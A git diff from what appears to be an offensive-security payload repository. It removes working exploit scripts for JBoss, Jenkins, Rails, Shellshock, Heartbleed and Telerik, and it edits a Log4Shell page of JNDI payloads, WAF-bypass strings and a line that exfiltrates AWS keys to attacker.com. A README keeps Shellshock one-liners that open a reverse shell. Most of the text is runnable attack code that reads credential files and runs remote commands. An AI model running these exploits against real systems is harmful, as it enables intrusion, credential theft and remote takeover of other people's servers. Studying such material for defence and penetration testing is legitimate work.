-		if typ == None:
-			print('Server closed connection without sending Server Hello.')
-			return 0
-		# Look for server hello done message.
-		if typ == 22 and ord(pay[0]) == 0x0E:
-			return ver
-
-def check(host, port, dumpf, quiet, starttls):
-	response = False
-	if starttls:
-		try:
-			s = smtplib.SMTP(host=host,port=port)
-			s.ehlo()
-			s.starttls()
-		except smtplib.SMTPException:
-			print('STARTTLS not supported...')
-			s.quit()
-			return False
-		print('STARTTLS supported...')
-		s.quit()
-		s = connect(host, port, quiet)
-		s.settimeout(1)
-		try:
-			re = s.recv(1024)
-			s.send('ehlo starttlstest\r\n')
-			re = s.recv(1024)
-			s.send('starttls\r\n')
-			re = s.recv(1024)
-		except socket.timeout:
-			print('Timeout issues, going ahead anyway, but it is probably broken ...')
-		tls(s,quiet)
-	else:
-		s = connect(host, port, quiet)
-		tls(s,quiet)
-
-	version = parseresp(s)
-
-	if version == 0:
-		if not quiet: print("Got an error while parsing the response, bailing ...")
-		return False
-	else:
-		version = version - 0x0300
-		if not quiet: print("Server TLS version was 1.%d\n" % version)
-
-	if not quiet: print('Sending heartbeat request...')
-	sys.stdout.flush()
-	if (version == 1):
-		s.send(hbv10)
-		response = hit_hb(s,dumpf, host, quiet)
-	if (version == 2):
-		s.send(hbv11)
-		response = hit_hb(s,dumpf, host, quiet)
-	if (version == 3):
-		s.send(hbv12)
-		response = hit_hb(s,dumpf, host, quiet)
-	s.close()
-	return response
-
-def main():
-	opts, args = options.parse_args()
-	if len(args) < 1:
-		options.print_help()
-		return
-
-	print('Scanning ' + args[0] + ' on port ' + str(opts.port))
-	for i in range(0,opts.num):
-		check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)
-
-if __name__ == '__main__':
-	main()

CVE Exploits/JBoss CVE-2015-7501.py

@@ -1,62 +0,0 @@
-#! /usr/bin/env python2
-
-# Jboss Java Deserialization RCE (CVE-2015-7501)
-# Made with <3 by @byt3bl33d3r
-
-from __future__ import print_function
-import requests
-from requests.packages.urllib3.exceptions import InsecureRequestWarning
-requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
-
-import argparse
-import sys, os
-#from binascii import hexlify, unhexlify
-from subprocess import check_output
-
-ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
-ysoserial_path = None
-
-parser = argparse.ArgumentParser()
-parser.add_argument('target', type=str, help='Target IP')
-parser.add_argument('command', type=str, help='Command to run on target')
-parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
-parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')
-
-if len(sys.argv) < 2:
-    parser.print_help()
-    sys.exit(1)
-
-args = parser.parse_args()
-
-if not args.ysoserial_path:
-    for path in ysoserial_default_paths:
-        if os.path.exists(path):
-            ysoserial_path = path
-else:
-    if os.path.exists(args.ysoserial_path):
-        ysoserial_path = args.ysoserial_path
-
-if ysoserial_path is None:
-    print('[-] Could not find ysoserial JAR file')
-    sys.exit(1)
-
-if len(args.target.split(":")) != 2:
-    print('[-] Target must be in format IP:PORT')
-    sys.exit(1)
-
-if not args.command:
-    print('[-] You must specify a command to run')
-    sys.exit(1)
-
-ip, port = args.target.split(':')
-
-print('[*] Target IP: {}'.format(ip))
-print('[*] Target PORT: {}'.format(port))
-
-gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
-
-r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget)
-
-if r.status_code == 200:
-    print('[+] Command executed successfully')
-

CVE Exploits/Jenkins CVE-2016-0792.py

@@ -1,84 +0,0 @@
-#! /usr/bin/env python2
-
-#Jenkins Groovy XML RCE (CVE-2016-0792)
-#Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins
-#Made with <3 by @byt3bl33d3r
-
-from __future__ import print_function
-import requests
-from requests.packages.urllib3.exceptions import InsecureRequestWarning
-requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
-
-import argparse
-import sys
-
-parser = argparse.ArgumentParser()
-parser.add_argument('target', type=str, help='Target IP:PORT')
-parser.add_argument('command', type=str, help='Command to run on target')
-parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
-
-if len(sys.argv) < 2:
-    parser.print_help()
-    sys.exit(1)
-
-args = parser.parse_args()
-
-if len(args.target.split(':')) != 2:
-    print('[-] Target must be in format IP:PORT')
-    sys.exit(1)
-
-if not args.command:
-    print('[-] You must specify a command to run')
-    sys.exit(1)
-
-ip, port = args.target.split(':')
-
-print('[*] Target IP: {}'.format(ip))
-print('[*] Target PORT: {}'.format(port))
-
-xml_formatted = ''
-command_list = args.command.split()
-for cmd in command_list:
-    xml_formatted += '{:>16}<string>{}</string>\n'.format('', cmd)
-
-xml_payload = '''<map>
-  <entry>
-    <groovy.util.Expando>
-      <expandoProperties>
-        <entry>
-          <string>hashCode</string>
-          <org.codehaus.groovy.runtime.MethodClosure>
-            <delegate class="groovy.util.Expando" reference="../../../.."/>
-            <owner class="java.lang.ProcessBuilder">
-              <command>
-                {}
-              </command>
-              <redirectErrorStream>false</redirectErrorStream>
-            </owner>
-            <resolveStrategy>0</resolveStrategy>
-            <directive>0</directive>
-            <parameterTypes/>
-            <maximumNumberOfParameters>0</maximumNumberOfParameters>
-            <method>start</method>
-          </org.codehaus.groovy.runtime.MethodClosure>
-        </entry>
-      </expandoProperties>
-    </groovy.util.Expando>
-   <int>1</int>
- </entry>
-</map>'''.format(xml_formatted.strip())
-
-print('[*] Generated XML payload:')
-print(xml_payload)
-print() 
-
-print('[*] Sending payload')
-headers = {'Content-Type': 'text/xml'}
-r = requests.post('{}://{}:{}/createItem?name=rand_dir'.format(args.proto, ip, port), verify=False, headers=headers, data=xml_payload)
-
-paths_in_trace = ['jobs/rand_dir/config.xml', 'jobs\\rand_dir\\config.xml']
-if r.status_code == 500:
-    for path in paths_in_trace:
-        if path in r.text:
-            print('[+] Command executed successfully')
-            break

CVE Exploits/Jenkins Groovy Console.py

@@ -1,32 +0,0 @@
-#!/usr/bin/env python
-# SRC: https://raw.githubusercontent.com/bl4de/security-tools/master/jgc.py
-# DOC: https://medium.com/@_bl4de/remote-code-execution-with-groovy-console-in-jenkins-bd6ef55c285b
-from __future__ import print_function
-from builtins import input
-import requests
-import sys
-
-print("""
-Jenkins Groovy Console cmd runner.
-
-usage: ./jgc.py [HOST]
-
-Then type any command and wait for STDOUT output from remote machine.
-Type 'exit' to exit :)
-""")
-URL = sys.argv[1] + '/scriptText'
-HEADERS = {
-    'User-Agent': 'jgc'
-}
-
-while 1:
-    CMD = input(">> Enter command to execute (or type 'exit' to exit): ")
-    if CMD == 'exit':
-        print("exiting...\n")
-        exit(0)
-
-    DATA = {
-        'script': 'println "{}".execute().text'.format(CMD)
-    }
-    result = requests.post(URL, headers=HEADERS, data=DATA)
-    print(result.text)

CVE Exploits/Log4Shell.md

@@ -1,105 +1,107 @@
-# CVE-2021-44228 Log4Shell
+# CVE-2021-44228 Log4Shell
-
+
-> Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled
+> Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled
-
+
-## Summary
+## Summary
-
+
-* [Vulnerable code](#vulnerable-code)
+* [Vulnerable code](#vulnerable-code)
-* [Payloads](#payloads)
+* [Payloads](#payloads)
-* [Scanning](#scanning)
+* [Scanning](#scanning)
-* [WAF Bypass](#waf-bypass)
+* [WAF Bypass](#waf-bypass)
-* [Exploitation](#exploitation)
+* [Exploitation](#exploitation)
-    * [Environment variables exfiltration](#environment-variables-exfiltration)
+    * [Environment variables exfiltration](#environment-variables-exfiltration)
-    * [Remote Command Execution](#remote-command-execution)
+    * [Remote Command Execution](#remote-command-execution)
-* [References](#references)
+* [References](#references)
-
+
-## Vulnerable code
+## Vulnerable code
-
+
-You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn](
+You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn](
-https://github.com/leonjza/log4jpwn)
+https://github.com/leonjza/log4jpwn)
-```java
+
-public String index(@RequestHeader("X-Api-Version") String apiVersion) {
+```java
-    logger.info("Received a request for API version " + apiVersion);
+public String index(@RequestHeader("X-Api-Version") String apiVersion) {
-    return "Hello, world!";
+    logger.info("Received a request for API version " + apiVersion);
-}
+    return "Hello, world!";
-```
+}
-
+```
-## Payloads
+
-
+## Payloads
-```bash
+
-# Identify Java version and hostname
+```bash
-${jndi:ldap://${java:version}.domain/a}
+# Identify Java version and hostname
-${jndi:ldap://${env:JAVA_VERSION}.domain/a}
+${jndi:ldap://${java:version}.domain/a}
-${jndi:ldap://${sys:java.version}.domain/a}
+${jndi:ldap://${env:JAVA_VERSION}.domain/a}
-${jndi:ldap://${sys:java.vendor}.domain/a}
+${jndi:ldap://${sys:java.version}.domain/a}
-${jndi:ldap://${hostName}.domain/a}
+${jndi:ldap://${sys:java.vendor}.domain/a}
-${jndi:dns://${hostName}.domain}
+${jndi:ldap://${hostName}.domain/a}
-
+${jndi:dns://${hostName}.domain}
-# More enumerations keywords and variables
+
-java:os
+# More enumerations keywords and variables
-docker:containerId
+java:os
-web:rootDir
+docker:containerId
-bundle:config:db.password
+web:rootDir
-```
+bundle:config:db.password
-
+```
-## Scanning
+
-
+## Scanning
-* [log4j-scan](https://github.com/fullhunt/log4j-scan)
+
-    ```powershell
+* [log4j-scan](https://github.com/fullhunt/log4j-scan)
-    usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
+
-                        [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
+    ```powershell
-    python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
+    usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
-    python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
+                        [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
-    ```
+    python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
-* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml)
+    python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
-
+    ```
-
+
-## WAF Bypass
+* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml)
-
+
-```powershell
+## WAF Bypass
-${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}
+
-
+```powershell
-# using lower and upper
+${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}
-${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
+
-${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
+# using lower and upper
-${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
+${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
-
+${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
-# using env to create the letter
+${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
-${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
+
-${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
+# using env to create the letter
-```
+${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
-
+${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
-## Exploitation
+```
-
+
-### Environment variables exfiltration
+## Exploitation
-
+
-```powershell
+### Environment variables exfiltration
-${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/
+
-
+```powershell
-# AWS Access Key
+${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/
-${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
+
-```
+# AWS Access Key
-
+${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
-
+```
-### Remote Command Execution
+
-
+### Remote Command Execution
-* [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi)
+
-    ```ps1
+* [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi)
-    java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
+
-    Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
+    ```ps1
-    Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
+    java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
-    Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
+    Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
-    Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
+    Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
-    Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
+    Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
-    Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
+    Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
-    Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
+    Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
-    Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
+    Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
-    ```
+    Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
-* [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit)
+    Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
-
+    ```
-
+
-## References
+* [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit)
-
+
-* [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day/)
+## References
-* [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
+
-* [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)
+* [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021](https://web.archive.org/web/20240619113824/https://www.lunasec.io/docs/blog/log4j-zero-day/)
+* [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021](https://web.archive.org/web/20240511165624/https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
+* [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://web.archive.org/web/20250903054130/https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)

CVE Exploits/README.md

@@ -15,14 +15,12 @@
     * [CVE-2014-6271 - Shellshock](#cve-2014-6271---shellshock)
 * [References](#references)
 
-
 ## Tools
 
-- [Trickest CVE Repository - Automated collection of CVEs and PoC's](https://github.com/trickest/cve)
+* [Trickest CVE Repository - Automated collection of CVEs and PoC's](https://github.com/trickest/cve)
-- [Nuclei Templates - Community curated list of templates for the nuclei engine to find security vulnerabilities in applications](https://github.com/projectdiscovery/nuclei-templates)
+* [Nuclei Templates - Community curated list of templates for the nuclei engine to find security vulnerabilities in applications](https://github.com/projectdiscovery/nuclei-templates)
-- [Metasploit Framework](https://github.com/rapid7/metasploit-framework)
+* [Metasploit Framework](https://github.com/rapid7/metasploit-framework)
-- [CVE Details - The ultimate security vulnerability datasource](https://www.cvedetails.com)
+* [CVE Details - The ultimate security vulnerability datasource](https://www.cvedetails.com)
-
 
 ## Big CVEs in the last 15 years
 
@@ -31,48 +29,44 @@
 EternalBlue exploits a vulnerability in Microsoft's implementation of the Server Message Block (SMB) protocol. The vulnerability exists because the SMB version 1 (SMBv1) server in various versions of Microsoft Windows mishandles specially crafted packets from remote attackers, allowing them to execute arbitrary code on the target computer.
 
 Afftected systems:
-- Windows Vista SP2
-- Windows Server 2008 SP2 and R2 SP1
-- Windows 7 SP1
-- Windows 8.1
-- Windows Server 2012 Gold and R2
-- Windows RT 8.1
-- Windows 10 Gold, 1511, and 1607
-- Windows Server 2016
 
+* Windows Vista SP2
+* Windows Server 2008 SP2 and R2 SP1
+* Windows 7 SP1
+* Windows 8.1
+* Windows Server 2012 Gold and R2
+* Windows RT 8.1
+* Windows 10 Gold, 1511, and 1607
+* Windows Server 2016
 
 ### CVE-2017-5638 - Apache Struts 2
 
-On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the “Content-Type” header.
+On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the "Content-Type" header.
-
 
 ### CVE-2018-7600 - Drupalgeddon 2
 
 A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised.
 
-
 ### CVE-2019-0708 - BlueKeep
 
 A remote code execution vulnerability exists in Remote Desktop Services – formerly known as Terminal Services – when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
 
-
 ### CVE-2019-19781 - Citrix ADC Netscaler
 
 A remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.
 
 Affected products:
-- Citrix ADC and Citrix Gateway version 13.0 all supported builds
-- Citrix ADC and NetScaler Gateway version 12.1 all supported builds
-- Citrix ADC and NetScaler Gateway version 12.0 all supported builds
-- Citrix ADC and NetScaler Gateway version 11.1 all supported builds
-- Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds
 
+* Citrix ADC and Citrix Gateway version 13.0 all supported builds
+* Citrix ADC and NetScaler Gateway version 12.1 all supported builds
+* Citrix ADC and NetScaler Gateway version 12.0 all supported builds
+* Citrix ADC and NetScaler Gateway version 11.1 all supported builds
+* Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds
 
 ### CVE-2014-0160 - Heartbleed
 
 The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
 
-
 ### CVE-2014-6271 - Shellshock
 
 Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
@@ -82,11 +76,10 @@ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 10.0
 curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/4444 0>&1" "https://10.0.0.1/cgi-bin/admin.cgi" 
 ```
 
-
 ## References
 
-* [Heartbleed - Official website](http://heartbleed.com)
+* [Heartbleed - Official website](https://web.archive.org/web/20260302163556/https://heartbleed.com/)
-* [Shellshock - Wikipedia](https://en.wikipedia.org/wiki/Shellshock_(software_bug))
+* [Shellshock - Wikipedia](https://web.archive.org/web/20140929214920/http://en.wikipedia.org:80/wiki/Shellshock_(software_bug))
-* [Imperva Apache Struts analysis](https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/)
+* [Imperva Apache Struts analysis](https://web.archive.org/web/20180305002332/https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/)
-* [EternalBlue - Wikipedia](https://en.wikipedia.org/wiki/EternalBlue)
+* [EternalBlue - Wikipedia](https://web.archive.org/web/20260304111336/https://en.wikipedia.org/wiki/EternalBlue)
-* [BlueKeep - Microsoft](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)
+* [BlueKeep - Microsoft](https://web.archive.org/web/20201104070840/https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)

CVE Exploits/Rails CVE-2019-5420.rb

@@ -1,156 +0,0 @@
-require 'erb'
-require "./demo-5.2.1/config/environment"
-require "base64"
-require 'net/http'
-
-$proxy_addr = '127.0.0.1'
-$proxy_port = 8080
-
-$remote = "http://172.18.0.3:3000"
-$ressource = "/demo"
-
-puts "\nRails exploit CVE-2019-5418 + CVE-2019-5420 = RCE\n\n"
-
-print "[+] Checking if vulnerable to CVE-2019-5418 => "
-uri = URI($remote + $ressource)
-req = Net::HTTP::Get.new(uri)
-req['Accept'] = "../../../../../../../../../../etc/passwd{{"
-res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
-  http.request(req)
-}
-if res.body.include? "root:x:0:0:root:"
-   puts "\033[92mOK\033[0m"
-else
-    puts "KO"
-    abort
-end
-
-print "[+] Getting file => credentials.yml.enc => "
-path = "../../../../../../../../../../config/credentials.yml.enc{{"
-for $i in 0..9
-    uri = URI($remote + $ressource)
-    req = Net::HTTP::Get.new(uri)
-    req['Accept'] = path[3..57]
-    res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
-        http.request(req)
-    }
-    if res.code == "200"
-        puts "\033[92mOK\033[0m"
-        File.open("credentials.yml.enc", 'w') { |file| file.write(res.body) }
-        break
-    end
-    path = path[3..57]
-    $i +=1;
-end
-
-print "[+] Getting file => master.key => "
-path = "../../../../../../../../../../config/master.key{{"
-for $i in 0..9
-    uri = URI($remote + $ressource)
-    req = Net::HTTP::Get.new(uri)
-    req['Accept'] = path[3..57]
-    res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
-        http.request(req)
-    }
-    if res.code == "200"
-        puts "\033[92mOK\033[0m"
-        File.open("master.key", 'w') { |file| file.write(res.body) }
-        break
-    end
-    path = path[3..57]
-    $i +=1;
-end
-
-print "[+] Decrypt secret_key_base => "
-credentials_config_path = File.join("../", "credentials.yml.enc")
-credentials_key_path = File.join("../", "master.key")
-ENV["RAILS_MASTER_KEY"] = res.body
-credentials = ActiveSupport::EncryptedConfiguration.new(
-    config_path: Rails.root.join(credentials_config_path),
-    key_path: Rails.root.join(credentials_key_path),
-    env_key: "RAILS_MASTER_KEY",
-    raise_if_missing_key: true
-)
-if credentials.secret_key_base != nil
-    puts "\033[92mOK\033[0m"
-    puts ""
-    puts "secret_key_base": credentials.secret_key_base
-    puts ""
-end
-
-puts "[+] Getting reflective command (R) or reverse shell (S) => "
-loop do 
-    begin
-        input = [(print 'Select option R or S: '), gets.rstrip][1]
-        if input == "R"
-            puts "Reflective command selected"
-            command = [(print "command (\033[92mreflected\033[0m): "), gets.rstrip][1]
-        elsif input == "S"
-            puts "Reverse shell selected"
-            command = [(print "command (\033[92mnot reflected\033[0m): "), gets.rstrip][1]
-        else
-            puts "No option selected"
-            abort
-        end
-
-        command_b64 = Base64.encode64(command)
-
-        print "[+] Generating payload CVE-2019-5420 => "
-        secret_key_base = credentials.secret_key_base
-        key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
-        secret = key_generator.generate_key("ActiveStorage")
-        verifier = ActiveSupport::MessageVerifier.new(secret)
-        if input == "R"
-            code = "system('bash','-c','" + command + " > /tmp/result.txt')"
-        else
-            code = "system('bash','-c','" + command + "')"
-        end 
-        erb = ERB.allocate
-        erb.instance_variable_set :@src, code
-        erb.instance_variable_set :@filename, "1"
-        erb.instance_variable_set :@lineno, 1
-        dump_target  = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
-
-        puts "\033[92mOK\033[0m"
-        puts ""
-        url = $remote + "/rails/active_storage/disk/" + verifier.generate(dump_target, purpose: :blob_key) + "/test"
-        puts url
-        puts ""
-
-        print "[+] Sending request => "
-        uri = URI(url)
-        req = Net::HTTP::Get.new(uri)
-        req['Accept'] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
-        res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
-        http.request(req)
-        }
-        if res.code == "500"
-            puts "\033[92mOK\033[0m"
-        else
-            puts "KO"
-            abort
-        end
-
-        if input == "R"
-            print "[+] Getting result of command => "
-            uri = URI($remote + $ressource)
-            req = Net::HTTP::Get.new(uri)
-            req['Accept'] = "../../../../../../../../../../tmp/result.txt{{"
-            res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
-            http.request(req)
-            }
-            if res.code == "200"
-                puts "\033[92mOK\033[0m\n\n"
-                puts res.body
-                puts "\n"
-            else
-                puts "KO"
-                abort
-            end
-        end
-        
-    rescue Exception => e
-        puts "Exiting..."
-        abort
-    end
-end

CVE Exploits/Shellshock CVE-2014-6271.py

@@ -1,36 +0,0 @@
-#!/usr/bin/python
-
-# Successful Output:
-# # python shell_shocker.py <VulnURL>
-# [+] Attempting Shell_Shock - Make sure to type full path
-# ~$ /bin/ls /
-# bin
-# boot
-# dev
-# etc
-# ..
-# ~$ /bin/cat /etc/passwd
-
-from __future__ import print_function
-from future import standard_library
-standard_library.install_aliases()
-from builtins import input
-import sys, urllib.request, urllib.error, urllib.parse
-
-if len(sys.argv) != 2:
-        print("Usage: shell_shocker <URL>")
-        sys.exit(0)
-
-URL=sys.argv[1]
-print("[+] Attempting Shell_Shock - Make sure to type full path")
-
-while True:
-        command=input("~$ ")
-        opener=urllib.request.build_opener()
-        opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; '+command)]
-        try:
-                response=opener.open(URL)
-                for line in response.readlines():
-                        print(line.strip())
-        except Exception as e: print(e)
-

CVE Exploits/Telerik CVE-2017-9248.py

@@ -1,362 +0,0 @@
-# Author: Paul Taylor / @bao7uo
-
-# https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py
-
-# dp_crypto - CVE-2017-9248 exploit
-# Telerik.Web.UI.dll Cryptographic compromise
-
-# Warning - no cert warnings,
-# and verify = False in code below prevents verification
-
-import sys
-import base64
-import requests
-import re
-import binascii
-import argparse
-
-from requests.packages.urllib3.exceptions import InsecureRequestWarning
-
-requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
-
-requests_sent = 0
-char_requests = 0
-
-
-def getProxy(proxy):
-    return { "http" : proxy, "https" : proxy }
-
-
-def get_result(plaintext, key, session, pad_chars):
-    global requests_sent, char_requests
-
-    url = args.url
-    base_pad = (len(key) % 4)
-    base = '' if base_pad == 0 else pad_chars[0:4 - base_pad]
-    dp_encrypted = base64.b64encode(
-                                (encrypt(plaintext, key) + base).encode()
-                            ).decode()
-    request = requests.Request('GET', url + '?dp=' + dp_encrypted)
-    request = request.prepare()
-    response = session.send(request, verify=False, proxies = getProxy(args.proxy))
-    requests_sent += 1
-    char_requests += 1
-
-    match = re.search("(Error Message:)(.+\n*.+)(</div>)", response.text)
-    return True \
-        if match is not None \
-        and match.group(2) == args.oracle \
-        else False
-
-def test_keychar(keychar, found, session, pad_chars):
-    base64chars = [
-                    "A", "Q", "g", "w", "B", "R", "h", "x", "C", "S", "i", "y",
-                    "D", "T", "j", "z", "E", "U", "k", "0", "F", "V", "l", "1",
-                    "G", "W", "m", "2", "H", "X", "n", "3", "I", "Y", "o", "4",
-                    "J", "Z", "p", "5", "K", "a", "q", "6", "L", "b", "r", "7",
-                    "M", "c", "s", "8", "N", "d", "t", "9", "O", "e", "u", "+",
